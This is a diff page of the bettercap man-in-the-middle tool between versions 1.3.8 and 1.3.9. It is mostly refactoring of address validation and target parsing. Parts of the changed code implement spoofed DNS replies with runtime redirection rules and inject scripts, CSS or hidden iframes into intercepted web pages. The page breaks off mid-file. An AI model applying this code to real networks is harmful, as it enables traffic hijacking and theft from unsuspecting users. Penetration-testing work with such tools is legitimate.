bettercap 1.3.8 → 1.3.9
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/bettercap/context.rb +1 -1
- data/lib/bettercap/discovery/agents/base.rb +16 -8
- data/lib/bettercap/discovery/agents/icmp.rb +1 -1
- data/lib/bettercap/network/network.rb +15 -78
- data/lib/bettercap/network/packet_queue.rb +2 -2
- data/lib/bettercap/network/servers/dnsd.rb +41 -9
- data/lib/bettercap/network/target.rb +5 -4
- data/lib/bettercap/network/validator.rb +87 -0
- data/lib/bettercap/options.rb +28 -11
- data/lib/bettercap/proxy/modules/injectcss.rb +1 -1
- data/lib/bettercap/proxy/modules/injecthtml.rb +1 -1
- data/lib/bettercap/proxy/modules/injectjs.rb +1 -1
- data/lib/bettercap/proxy/proxy.rb +20 -5
- data/lib/bettercap/proxy/request.rb +66 -75
- data/lib/bettercap/proxy/response.rb +7 -2
- data/lib/bettercap/proxy/sslstrip/strip.rb +48 -16
- data/lib/bettercap/proxy/stream_logger.rb +2 -6
- data/lib/bettercap/proxy/streamer.rb +13 -19
- data/lib/bettercap/spoofers/base.rb +4 -4
- data/lib/bettercap/version.rb +1 -1
- metadata +3 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 04fcfc9b8b34c69b44236a52f322bd0e9dc42e68
|
4
|
+
data.tar.gz: a37d61a2d587eedc1e4682ee4c885629db12bd86
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 33c42e7fee3330128513900d7ad5bbb6058adae66177fd75516d164cdd18d78ca6d9cacf928b071dd16b1781ca9de93f90a58442911cf4aea0b6ad64fc5206b3
|
7
|
+
data.tar.gz: 77d9f295dcf9e390bfdaabbb20c972bdf2768b1edf4a443aaea0845b525c2d1f203ed68acc210b87ef59729873e3bd36cdb4ed03f1bd2f73cb7bc0f0426933f1
|
data/lib/bettercap/context.rb
CHANGED
@@ -93,7 +93,7 @@ class Context
|
|
93
93
|
raise BetterCap::Error, "Could not detect the gateway address for interface #{@options.iface}, "\
|
94
94
|
'make sure you\'ve specified the correct network interface to use and to have the '\
|
95
95
|
'correct network configuration, this could also happen if bettercap '\
|
96
|
-
'is launched from a virtual environment.'
|
96
|
+
'is launched from a virtual environment.' unless Network::Validator.is_ip?(@gateway)
|
97
97
|
|
98
98
|
Logger.debug '----- NETWORK INFORMATIONS -----'
|
99
99
|
Logger.debug " network = #{@ifconfig[:ip4_obj]}"
|
@@ -18,18 +18,26 @@ module Agents
|
|
18
18
|
# Base class for BetterCap::Discovery::Agents.
|
19
19
|
class Base
|
20
20
|
# Initialize the agent using the +ctx+ BetterCap::Context instance.
|
21
|
-
|
21
|
+
# If +address+ is not nil only that ip will be probed.
|
22
|
+
def initialize( ctx, address = nil )
|
22
23
|
@ctx = ctx
|
23
24
|
@ifconfig = ctx.ifconfig
|
24
25
|
@local_ip = @ifconfig[:ip_saddr]
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
26
|
+
@address = address
|
27
|
+
|
28
|
+
if @address.nil?
|
29
|
+
net = ip = @ifconfig[:ip4_obj]
|
30
|
+
# loop each ip in our subnet and push it to the queue
|
31
|
+
while net.include?ip
|
32
|
+
unless skip_address?(ip)
|
33
|
+
@ctx.packets.push( get_probe(ip) )
|
34
|
+
end
|
35
|
+
ip = ip.succ
|
36
|
+
end
|
37
|
+
else
|
38
|
+
unless skip_address?(@address)
|
39
|
+
@ctx.packets.push( get_probe(@address) )
|
31
40
|
end
|
32
|
-
ip = ip.succ
|
33
41
|
end
|
34
42
|
end
|
35
43
|
|
@@ -19,7 +19,7 @@ module Agents
|
|
19
19
|
class Icmp
|
20
20
|
# Create a thread which will perform a ping-sweep on the network in order
|
21
21
|
# to populate the ARP cache with active targets.
|
22
|
-
def initialize( ctx )
|
22
|
+
def initialize( ctx, address = nil )
|
23
23
|
Firewalls::Base.get.enable_icmp_bcast(true)
|
24
24
|
|
25
25
|
# TODO: Use the real broadcast address for this network.
|
@@ -16,37 +16,19 @@ module BetterCap
|
|
16
16
|
# Handles various network related tasks.
|
17
17
|
module Network
|
18
18
|
class << self
|
19
|
-
# Return true if +ip+ is a valid IP address, otherwise false.
|
20
|
-
def is_ip?(ip)
|
21
|
-
if /\A(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\Z/ =~ ip.to_s
|
22
|
-
return $~.captures.all? {|i| i.to_i < 256}
|
23
|
-
end
|
24
|
-
false
|
25
|
-
end
|
26
|
-
|
27
|
-
# Return true if +mac+ is a valid MAC address, otherwise false.
|
28
|
-
def is_mac?(mac)
|
29
|
-
( /^[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}$/i =~ mac.to_s )
|
30
|
-
end
|
31
|
-
|
32
19
|
# Return the current network gateway or nil.
|
33
20
|
def get_gateway
|
34
21
|
nstat = Shell.execute('netstat -nr')
|
22
|
+
iface = Context.get.options.iface
|
35
23
|
|
36
24
|
Logger.debug "NETSTAT:\n#{nstat}"
|
37
25
|
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
if line.include?( Context.get.options.iface )
|
42
|
-
tmp = line.split[1]
|
43
|
-
if is_ip?(tmp)
|
44
|
-
gw = tmp
|
45
|
-
break
|
46
|
-
end
|
26
|
+
nstat.split(/\n/).select {|n| n =~ /UG/ }.each do |line|
|
27
|
+
Network::Validator.each_ip(line) do |address|
|
28
|
+
return address
|
47
29
|
end
|
48
30
|
end
|
49
|
-
|
31
|
+
nil
|
50
32
|
end
|
51
33
|
|
52
34
|
# Return a list of IP addresses associated to this device network interfaces.
|
@@ -95,72 +77,27 @@ class << self
|
|
95
77
|
|
96
78
|
# Return the hardware address associated with the specified +ip_address+ using
|
97
79
|
# the +iface+ network interface.
|
98
|
-
|
99
|
-
|
100
|
-
|
101
|
-
|
102
|
-
|
103
|
-
attempts.times do
|
104
|
-
arp_pkt = PacketFu::ARPPacket.new
|
105
|
-
|
106
|
-
arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = iface[:eth_saddr]
|
107
|
-
arp_pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff'
|
108
|
-
arp_pkt.arp_daddr_mac = '00:00:00:00:00:00'
|
109
|
-
arp_pkt.arp_saddr_ip = iface[:ip_saddr]
|
110
|
-
arp_pkt.arp_daddr_ip = ip_address
|
111
|
-
|
112
|
-
cap_thread = Thread.new do
|
113
|
-
Context.get.packets.push(arp_pkt)
|
114
|
-
|
115
|
-
target_mac = nil
|
116
|
-
timeout = 0
|
117
|
-
|
118
|
-
cap = PacketFu::Capture.new(
|
119
|
-
iface: iface[:iface],
|
120
|
-
start: true,
|
121
|
-
filter: "arp src #{ip_address} and ether dst #{arp_pkt.eth_saddr}"
|
122
|
-
)
|
123
|
-
|
124
|
-
begin
|
125
|
-
Logger.debug 'Attempting to get MAC from packet capture ...'
|
126
|
-
target_mac = Timeout::timeout(0.5) { get_mac_from_capture(cap, ip_address) }
|
127
|
-
rescue Timeout::Error
|
128
|
-
timeout += 0.1
|
129
|
-
retry if target_mac.nil? && timeout <= 5
|
130
|
-
end
|
131
|
-
|
132
|
-
target_mac
|
133
|
-
end
|
134
|
-
hw_address = cap_thread.value
|
135
|
-
|
136
|
-
break unless hw_address.nil?
|
137
|
-
end
|
80
|
+
def get_hw_address( ctx, ip )
|
81
|
+
hw = ArpReader.find_address( ip )
|
82
|
+
if hw.nil?
|
83
|
+
start_agents( ctx, ip )
|
84
|
+
hw = ArpReader.find_address( ip )
|
138
85
|
end
|
139
|
-
|
140
|
-
hw_address
|
86
|
+
hw
|
141
87
|
end
|
142
88
|
|
143
89
|
private
|
144
90
|
|
145
91
|
# Start discovery agents and wait for +ctx.timeout+ seconds for them to
|
146
92
|
# complete their job.
|
147
|
-
|
93
|
+
# If +address+ is not nil only that ip will be probed.
|
94
|
+
def start_agents( ctx, address = nil )
|
148
95
|
[ 'Icmp', 'Udp', 'Arp' ].each do |name|
|
149
|
-
BetterCap::Loader.load("BetterCap::Discovery::Agents::#{name}").new(ctx)
|
96
|
+
BetterCap::Loader.load("BetterCap::Discovery::Agents::#{name}").new(ctx, address)
|
150
97
|
end
|
151
98
|
ctx.packets.wait_empty( ctx.timeout )
|
152
99
|
end
|
153
|
-
|
154
|
-
# Search for the MAC address associated to +ip_address+ inside the +cap+
|
155
|
-
# PacketFu::Capture object.
|
156
|
-
def get_mac_from_capture( cap, ip_address )
|
157
|
-
cap.stream.each do |p|
|
158
|
-
arp_response = PacketFu::Packet.parse(p)
|
159
|
-
target_mac = arp_response.arp_saddr_mac if arp_response.arp_saddr_ip == ip_address
|
160
|
-
break target_mac unless target_mac.nil?
|
161
|
-
end
|
162
|
-
end
|
163
|
-
|
164
100
|
end
|
101
|
+
|
165
102
|
end
|
166
103
|
end
|
@@ -63,7 +63,7 @@ class PacketQueue
|
|
63
63
|
def dispatch_udp_packet(packet)
|
64
64
|
ip, port, data = packet
|
65
65
|
@mutex.synchronize {
|
66
|
-
Logger.debug "Sending UDP data packet to #{ip}:#{port} ..."
|
66
|
+
# Logger.debug "Sending UDP data packet to #{ip}:#{port} ..."
|
67
67
|
@udp.send( data, 0, ip, port )
|
68
68
|
}
|
69
69
|
end
|
@@ -71,7 +71,7 @@ class PacketQueue
|
|
71
71
|
# Use the global Pcap injection instance to send the +packet+.
|
72
72
|
def dispatch_raw_packet(packet)
|
73
73
|
@mutex.synchronize {
|
74
|
-
Logger.debug "Sending #{packet.class.name} packet ..."
|
74
|
+
# Logger.debug "Sending #{packet.class.name} packet ..."
|
75
75
|
@stream.inject( packet.headers[0].to_s )
|
76
76
|
}
|
77
77
|
end
|
@@ -18,10 +18,21 @@ module Servers
|
|
18
18
|
|
19
19
|
# Class to wrap RubyDNS::RuleBasedServer and add some utility methods.
|
20
20
|
class DnsWrapper < RubyDNS::RuleBasedServer
|
21
|
+
# List of redirection rules.
|
22
|
+
attr_accessor :rules
|
23
|
+
# we need this in order to add rules at runtime.
|
24
|
+
@@instance = nil
|
25
|
+
|
26
|
+
# Return the active instance of this object.
|
27
|
+
def self.get
|
28
|
+
@@instance
|
29
|
+
end
|
30
|
+
|
21
31
|
# Instantiate a server with a block.
|
22
32
|
def initialize(options = {}, &block)
|
23
33
|
super(options,&block)
|
24
34
|
@rules = options[:rules]
|
35
|
+
@@instance = self
|
25
36
|
end
|
26
37
|
# Give a name and a record type, try to match a rule and use it for processing the given arguments.
|
27
38
|
def process(name, resource_class, transaction)
|
@@ -35,7 +46,7 @@ class DNSD
|
|
35
46
|
# Initialize the DNS server with the specified +address+ and tcp/udp +port+.
|
36
47
|
# The server will load +hosts_filename+ composed by 'regexp -> ip' entries
|
37
48
|
# to do custom DNS spoofing/resolution.
|
38
|
-
def initialize( hosts_filename, address = '0.0.0.0', port = 5300 )
|
49
|
+
def initialize( hosts_filename = nil, address = '0.0.0.0', port = 5300 )
|
39
50
|
@port = port
|
40
51
|
@address = address
|
41
52
|
@server = nil
|
@@ -46,16 +57,29 @@ class DNSD
|
|
46
57
|
[:tcp, address, port]
|
47
58
|
]
|
48
59
|
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
|
60
|
+
unless hosts_filename.nil?
|
61
|
+
DNSD.parse_hosts( hosts_filename ).each do |exp,addr|
|
62
|
+
block = Proc.new do |transaction|
|
63
|
+
Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
|
64
|
+
transaction.respond!(addr)
|
65
|
+
end
|
66
|
+
|
67
|
+
@rules << RubyDNS::RuleBasedServer::Rule.new( [ exp, Resolv::DNS::Resource::IN::A ], block )
|
53
68
|
end
|
54
69
|
|
55
|
-
|
70
|
+
Logger.warn "Empty hosts file for DNS server." if @rules.empty?
|
71
|
+
end
|
72
|
+
end
|
73
|
+
|
74
|
+
# Add a rule to the DNS resolver at runtime.
|
75
|
+
def add_rule( exp, addr )
|
76
|
+
Logger.debug "[#{'DNS'.green}] Adding rule: '#{exp}' -> '#{addr}' ..."
|
77
|
+
block = Proc.new do |transaction|
|
78
|
+
Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
|
79
|
+
transaction.respond!(addr)
|
56
80
|
end
|
57
81
|
|
58
|
-
|
82
|
+
DnsWrapper.get.rules << RubyDNS::RuleBasedServer::Rule.new( [ Regexp.new(exp), Resolv::DNS::Resource::IN::A ], block )
|
59
83
|
end
|
60
84
|
|
61
85
|
# Start the server.
|
@@ -63,7 +87,14 @@ class DNSD
|
|
63
87
|
Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port} ( #{@rules.size} redirection rule#{if @rules.size > 1 then 's' else '' end} ) ..."
|
64
88
|
|
65
89
|
@thread = Thread.new {
|
66
|
-
|
90
|
+
options = {
|
91
|
+
:listen => @ifaces,
|
92
|
+
:asynchronous => true,
|
93
|
+
:server_class => DnsWrapper,
|
94
|
+
:rules => @rules
|
95
|
+
}
|
96
|
+
|
97
|
+
RubyDNS::run_server( options ) do
|
67
98
|
# Suppress RubyDNS logging.
|
68
99
|
@logger.level = ::Logger::ERROR
|
69
100
|
@upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
|
@@ -108,7 +139,8 @@ class DNSD
|
|
108
139
|
address = Context.get.ifconfig[:ip_saddr].to_s
|
109
140
|
end
|
110
141
|
|
111
|
-
raise BetterCap::Error, "Invalid IPv4 address '#{address}' on line #{lineno + 1} of '#{filename}'."
|
142
|
+
raise BetterCap::Error, "Invalid IPv4 address '#{address}' on line #{lineno + 1} of '#{filename}'." \
|
143
|
+
unless Network::Validator.is_ip?(address)
|
112
144
|
|
113
145
|
begin
|
114
146
|
hosts[ Regexp.new(expression) ] = address
|
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
|
|
10
10
|
This project is released under the GPL 3 license.
|
11
11
|
|
12
12
|
=end
|
13
|
-
require 'bettercap/logger'
|
14
13
|
require 'socket'
|
15
14
|
|
16
15
|
module BetterCap
|
@@ -45,13 +44,15 @@ class Target
|
|
45
44
|
# ip address will be parsed from the computer ARP cache and updated
|
46
45
|
# accordingly.
|
47
46
|
def initialize( ip, mac=nil )
|
48
|
-
if Network.is_ip?(ip)
|
49
|
-
@ip
|
47
|
+
if Network::Validator.is_ip?(ip)
|
48
|
+
@ip = ip
|
50
49
|
@ip_refresh = false
|
51
|
-
|
50
|
+
elsif Network::Validator.is_mac?(ip)
|
52
51
|
@ip = nil
|
53
52
|
mac = ip
|
54
53
|
@ip_refresh = true
|
54
|
+
else
|
55
|
+
raise BetterCap::Error, "'#{ip}' is not a valid IP or MAC address."
|
55
56
|
end
|
56
57
|
|
57
58
|
@mac = Target.normalized_mac(mac) unless mac.nil?
|
@@ -0,0 +1,87 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
This project is released under the GPL 3 license.
|
11
|
+
|
12
|
+
=end
|
13
|
+
module BetterCap
|
14
|
+
module Network
|
15
|
+
# Simple class to perform validation of various addresses, ranges, etc.
|
16
|
+
class Validator
|
17
|
+
# Basic expression to validate an IP address.
|
18
|
+
IP_ADDRESS_REGEX = '(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})'
|
19
|
+
# Quite self explainatory :)
|
20
|
+
IP_OCTECT_MAX = 255
|
21
|
+
|
22
|
+
# Return true if +ip+ is a valid IP address, otherwise false.
|
23
|
+
def self.is_ip?(ip)
|
24
|
+
if /\A#{IP_ADDRESS_REGEX}\Z/ =~ ip.to_s
|
25
|
+
return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX }
|
26
|
+
end
|
27
|
+
false
|
28
|
+
end
|
29
|
+
|
30
|
+
# Extract valid IP addresses from +data+ and yields each one of them.
|
31
|
+
def self.each_ip(data)
|
32
|
+
data.scan(/(#{IP_ADDRESS_REGEX})/).each do |m|
|
33
|
+
yield( m[0] ) if m[0] != '0.0.0.0'
|
34
|
+
end
|
35
|
+
end
|
36
|
+
|
37
|
+
# Return true if +r+ is a valid IP address range ( 192.168.1.1-93 ), otherwise false.
|
38
|
+
def self.is_range?(r)
|
39
|
+
if /\A#{IP_ADDRESS_REGEX}\-(\d{1,3})\Z/ =~ r.to_s
|
40
|
+
return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX }
|
41
|
+
end
|
42
|
+
false
|
43
|
+
end
|
44
|
+
|
45
|
+
# Parse +r+ as an IP range and return the first and last IP.
|
46
|
+
def self.parse_range(r)
|
47
|
+
first, last_part = r.split('-')
|
48
|
+
last = first.split('.')[0..2].join('.') + ".#{last_part}"
|
49
|
+
first = IPAddr.new(first)
|
50
|
+
last = IPAddr.new(last)
|
51
|
+
|
52
|
+
[ first, last ]
|
53
|
+
end
|
54
|
+
|
55
|
+
# Parse +r+ as an IP range and yields each address in it.
|
56
|
+
def self.each_in_range(r)
|
57
|
+
first, last = self.parse_range(r)
|
58
|
+
loop do
|
59
|
+
yield first.to_s
|
60
|
+
break if first == last
|
61
|
+
first = first.succ
|
62
|
+
end
|
63
|
+
end
|
64
|
+
|
65
|
+
# Parse +m+ as a netmask and yields each address in it.
|
66
|
+
def self.each_in_netmask(m)
|
67
|
+
IPAddr.new(m).to_range.each do |o|
|
68
|
+
yield o.to_s
|
69
|
+
end
|
70
|
+
end
|
71
|
+
|
72
|
+
# Return true if +n+ is a valid IP netmask range ( 192.168.1.1/24 ), otherwise false.
|
73
|
+
def self.is_netmask?(n)
|
74
|
+
if /\A#{IP_ADDRESS_REGEX}\/(\d+)\Z/ =~ n.to_s
|
75
|
+
return $~.captures.all? { |i| i.to_i <= IP_OCTECT_MAX }
|
76
|
+
end
|
77
|
+
false
|
78
|
+
end
|
79
|
+
|
80
|
+
# Return true if +mac+ is a valid MAC address, otherwise false.
|
81
|
+
def self.is_mac?(mac)
|
82
|
+
( /^[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}\:[a-f0-9]{1,2}$/i =~ mac.to_s )
|
83
|
+
end
|
84
|
+
end
|
85
|
+
|
86
|
+
end
|
87
|
+
end
|
data/lib/bettercap/options.rb
CHANGED
@@ -367,8 +367,13 @@ class Options
|
|
367
367
|
|
368
368
|
ctx.options.starting_message
|
369
369
|
|
370
|
+
if ctx.options.sslstrip and ctx.options.dnsd
|
371
|
+
raise BetterCap::Error, "SSL Stripping and builtin DNS server are mutually exclusive features, " \
|
372
|
+
"either use the --no-sslstrip option or remove the --dns option."
|
373
|
+
end
|
374
|
+
|
370
375
|
unless ctx.options.gateway.nil?
|
371
|
-
raise BetterCap::Error, "The specified gateway '#{ctx.options.gateway}' is not a valid IPv4 address." unless Network.is_ip?(ctx.options.gateway)
|
376
|
+
raise BetterCap::Error, "The specified gateway '#{ctx.options.gateway}' is not a valid IPv4 address." unless Network::Validator.is_ip?(ctx.options.gateway)
|
372
377
|
ctx.gateway = ctx.options.gateway
|
373
378
|
Logger.debug("Targetting manually specified gateway #{ctx.gateway}")
|
374
379
|
end
|
@@ -418,7 +423,7 @@ class Options
|
|
418
423
|
# or more invalid IP addresses are specified.
|
419
424
|
def parse_ignore!(value)
|
420
425
|
@ignore = value.split(",")
|
421
|
-
valid = @ignore.select { |target| Network.is_ip?(target) }
|
426
|
+
valid = @ignore.select { |target| Network::Validator.is_ip?(target) }
|
422
427
|
|
423
428
|
raise BetterCap::Error, "Invalid ignore addresses specified." if valid.empty?
|
424
429
|
|
@@ -435,7 +440,7 @@ class Options
|
|
435
440
|
# Setter for the #custom_proxy or #custom_https_proxy attribute, will raise a
|
436
441
|
# BetterCap::Error if +value+ is not a valid IP address.
|
437
442
|
def parse_custom_proxy!(value, https=false)
|
438
|
-
raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network.is_ip?(value)
|
443
|
+
raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network::Validator.is_ip?(value)
|
439
444
|
if https
|
440
445
|
@custom_proxy = value
|
441
446
|
else
|
@@ -460,25 +465,37 @@ class Options
|
|
460
465
|
# Split specified targets and parse them ( either as IP or MAC ), will raise a
|
461
466
|
# BetterCap::Error if one or more invalid addresses are specified.
|
462
467
|
def parse_targets
|
468
|
+
valid = []
|
463
469
|
targets = @target.split(",")
|
464
|
-
valid_targets = targets.select { |target| Network.is_ip?(target) or Network.is_mac?(target) }
|
465
470
|
|
466
|
-
|
471
|
+
targets.each do |t|
|
472
|
+
if Network::Validator.is_ip?(t) or Network::Validator.is_mac?(t)
|
473
|
+
valid << Network::Target.new(t)
|
474
|
+
|
475
|
+
elsif Network::Validator.is_range?(t)
|
476
|
+
Network::Validator.each_in_range( t ) do |address|
|
477
|
+
valid << Network::Target.new(address)
|
478
|
+
end
|
467
479
|
|
468
|
-
|
469
|
-
|
470
|
-
|
480
|
+
elsif Network::Validator.is_netmask?(t)
|
481
|
+
Network::Validator.each_in_netmask(t) do |address|
|
482
|
+
valid << Network::Target.new(address)
|
483
|
+
end
|
484
|
+
|
485
|
+
else
|
486
|
+
raise BetterCap::Error, "Invalid target specified '#{t}', valid formats are IP addresses, "\
|
487
|
+
"MAC addresses, IP ranges ( 192.168.1.1-30 ) or netmasks ( 192.168.1.1/24 ) ."
|
488
|
+
end
|
471
489
|
end
|
472
490
|
|
473
|
-
|
491
|
+
valid
|
474
492
|
end
|
475
493
|
|
476
494
|
# Parse spoofers and return a list of BetterCap::Spoofers objects. Raise a
|
477
495
|
# BetterCap::Error if an invalid spoofer name was specified.
|
478
496
|
def parse_spoofers
|
479
497
|
spoofers = []
|
480
|
-
|
481
|
-
spoofer_modules_names.each do |module_name|
|
498
|
+
@spoofer.split(",").each do |module_name|
|
482
499
|
spoofers << Spoofers::Base.get_by_name( module_name )
|
483
500
|
end
|
484
501
|
spoofers
|
@@ -56,7 +56,7 @@ class InjectCSS < BetterCap::Proxy::Module
|
|
56
56
|
def on_request( request, response )
|
57
57
|
# is it a html page?
|
58
58
|
if response.content_type =~ /^text\/html.*/
|
59
|
-
BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into
|
59
|
+
BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into #{request.to_url}"
|
60
60
|
# inject URL
|
61
61
|
if @@cssdata.nil?
|
62
62
|
response.body.sub!( '</head>', " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head>" )
|
@@ -44,7 +44,7 @@ class InjectHTML < BetterCap::Proxy::Module
|
|
44
44
|
def on_request( request, response )
|
45
45
|
# is it a html page?
|
46
46
|
if response.content_type =~ /^text\/html.*/
|
47
|
-
BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into
|
47
|
+
BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into #{request.to_url}"
|
48
48
|
|
49
49
|
if @@data.nil?
|
50
50
|
response.body.sub!( '</body>', "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>" )
|
@@ -56,7 +56,7 @@ class InjectJS < BetterCap::Proxy::Module
|
|
56
56
|
def on_request( request, response )
|
57
57
|
# is it a html page?
|
58
58
|
if response.content_type =~ /^text\/html.*/
|
59
|
-
BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into
|
59
|
+
BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into #{request.to_url}"
|
60
60
|
# inject URL
|
61
61
|
if @@jsdata.nil?
|
62
62
|
response.body.sub!( '</head>', "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" )
|
@@ -45,8 +45,13 @@ class Proxy
|
|
45
45
|
|
46
46
|
BasicSocket.do_not_reverse_lookup = true
|
47
47
|
|
48
|
-
@pool = ThreadPool.new( 4,
|
48
|
+
@pool = ThreadPool.new( 4, 64 ) do |client|
|
49
|
+
begin
|
49
50
|
client_worker client
|
51
|
+
rescue Exception => e
|
52
|
+
Logger.warn "Client worker errort: #{e.message}"
|
53
|
+
Logger.exception e
|
54
|
+
end
|
50
55
|
end
|
51
56
|
end
|
52
57
|
|
@@ -98,6 +103,9 @@ class Proxy
|
|
98
103
|
while @running do
|
99
104
|
begin
|
100
105
|
@pool << @server.accept
|
106
|
+
rescue OpenSSL::SSL::SSLError => se
|
107
|
+
Logger.debug("Error while accepting #{@type} connection.")
|
108
|
+
Logger.exception(se)
|
101
109
|
rescue Exception => e
|
102
110
|
Logger.warn("Error while accepting #{@type} connection: #{e.inspect}") if @running
|
103
111
|
end
|
@@ -109,7 +117,10 @@ class Proxy
|
|
109
117
|
# Return true if the +request+ host header contains one of this computer
|
110
118
|
# ip addresses.
|
111
119
|
def is_self_request?(request)
|
112
|
-
|
120
|
+
begin
|
121
|
+
return @local_ips.include? IPSocket.getaddress(request.host)
|
122
|
+
rescue; end
|
123
|
+
false
|
113
124
|
end
|
114
125
|
|
115
126
|
# Handle a new +client+.
|
@@ -121,12 +132,14 @@ class Proxy
|
|
121
132
|
|
122
133
|
request.read(client)
|
123
134
|
|
135
|
+
Logger.debug 'Request parsed.'
|
136
|
+
|
124
137
|
# stripped request
|
125
138
|
if @streamer.was_stripped?( request, client )
|
126
139
|
@streamer.handle( request, client )
|
127
140
|
# someone is having fun with us =)
|
128
141
|
elsif is_self_request? request
|
129
|
-
@streamer.rickroll( client
|
142
|
+
@streamer.rickroll( client )
|
130
143
|
# handle request
|
131
144
|
else
|
132
145
|
@streamer.handle( request, client )
|
@@ -135,10 +148,12 @@ class Proxy
|
|
135
148
|
Logger.debug "#{@type} client served."
|
136
149
|
|
137
150
|
rescue SocketError => se
|
138
|
-
Logger.debug "Socket error while serving client: #{
|
139
|
-
Logger.exception
|
151
|
+
Logger.debug "Socket error while serving client: #{se.message}"
|
152
|
+
# Logger.exception se
|
140
153
|
rescue Errno::EPIPE => ep
|
141
154
|
Logger.debug "Connection closed while serving client."
|
155
|
+
rescue EOFError => eof
|
156
|
+
Logger.debug "EOFError while serving client."
|
142
157
|
rescue Exception => e
|
143
158
|
Logger.warn "Error while serving client: #{e.message}"
|
144
159
|
Logger.exception e
|
@@ -15,12 +15,12 @@ module BetterCap
|
|
15
15
|
module Proxy
|
16
16
|
# HTTP request parser.
|
17
17
|
class Request
|
18
|
-
#
|
19
|
-
attr_reader :
|
20
|
-
# HTTP
|
21
|
-
attr_reader :
|
22
|
-
# Request
|
23
|
-
attr_reader :
|
18
|
+
# HTTP method.
|
19
|
+
attr_reader :method
|
20
|
+
# HTTP version.
|
21
|
+
attr_reader :version
|
22
|
+
# Request path + query.
|
23
|
+
attr_reader :path
|
24
24
|
# Hostname.
|
25
25
|
attr_reader :host
|
26
26
|
# Request port.
|
@@ -33,21 +33,19 @@ class Request
|
|
33
33
|
attr_accessor :body
|
34
34
|
# Client address.
|
35
35
|
attr_accessor :client
|
36
|
-
# Client port.
|
37
|
-
attr_accessor :client_port
|
38
36
|
|
39
37
|
# Initialize this object setting #port to +default_port+.
|
40
38
|
def initialize( default_port = 80 )
|
41
|
-
@lines
|
42
|
-
@
|
43
|
-
@
|
44
|
-
@
|
45
|
-
@
|
46
|
-
@
|
39
|
+
@lines = []
|
40
|
+
@method = nil
|
41
|
+
@version = '1.1'
|
42
|
+
@path = nil
|
43
|
+
@host = nil
|
44
|
+
@port = default_port
|
45
|
+
@headers = {}
|
47
46
|
@content_length = 0
|
48
|
-
@body
|
49
|
-
@client
|
50
|
-
@client_port = 0
|
47
|
+
@body = nil
|
48
|
+
@client = ""
|
51
49
|
end
|
52
50
|
|
53
51
|
# Read lines from the +sock+ socket and parse them.
|
@@ -94,64 +92,71 @@ class Request
|
|
94
92
|
Logger.debug " REQUEST LINE: '#{line}'"
|
95
93
|
|
96
94
|
# is this the first line '<VERB> <URI> HTTP/<VERSION>' ?
|
97
|
-
if
|
98
|
-
@
|
99
|
-
@
|
95
|
+
if line =~ /^(\w+)\s+(\S+)\s+HTTP\/([\d\.]+)\s*$/
|
96
|
+
@method = $1
|
97
|
+
@path = $2
|
98
|
+
@version = $3
|
100
99
|
|
101
100
|
# fix url
|
102
|
-
if @
|
103
|
-
uri = URI::parse @
|
104
|
-
@
|
101
|
+
if @path.include? '://'
|
102
|
+
uri = URI::parse @path
|
103
|
+
@path = "#{uri.path}" + ( uri.query ? "?#{uri.query}" : '' )
|
105
104
|
end
|
106
105
|
|
107
|
-
|
108
|
-
|
109
|
-
|
110
|
-
|
111
|
-
|
112
|
-
|
113
|
-
|
106
|
+
# collect and fix headers
|
107
|
+
elsif line =~ /^([^:\s]+)\s*:\s*(.+)$/i
|
108
|
+
name = $1
|
109
|
+
value = $2
|
110
|
+
|
111
|
+
case name
|
112
|
+
when 'Host'
|
113
|
+
@host = value
|
114
|
+
if @host =~ /([^:]*):([0-9]*)$/
|
115
|
+
@host = $1
|
116
|
+
